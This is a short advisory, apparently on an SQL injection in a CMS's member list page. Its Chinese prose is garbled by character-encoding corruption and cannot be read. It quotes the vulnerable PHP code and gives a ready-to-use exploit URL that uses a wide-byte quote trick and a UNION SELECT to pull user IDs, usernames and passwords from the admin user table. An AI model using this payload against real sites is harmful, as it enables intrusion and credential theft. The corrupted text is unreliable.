۹ECMS ©

[۹ECMS © ȫ]
۹ECMS /e/member/list/index.phpļ:

if($sear)
{
 $keyboard=RepPostVar2($_GET[''keyboard'']);
 if($keyboard)
 {
  $add.=$where.$user_username." like ''%$keyboard%''";
 }
 $search.="&sear=1&keyboard=$keyboard";
}

жsearǷ,ȻֱȥkeyboardĲ,ȻжkeyboardֵǷΪ,Ϊ
վֱӰkeyboardѯע©.

÷:

/e/member/list/index.php?sear=1&totalnum=1&keyboard=%D9''+union+select+1,1,1,concat(char
(123),userid,char(95),username,char(95),password,char(125))+from+phome_enewsuser/*
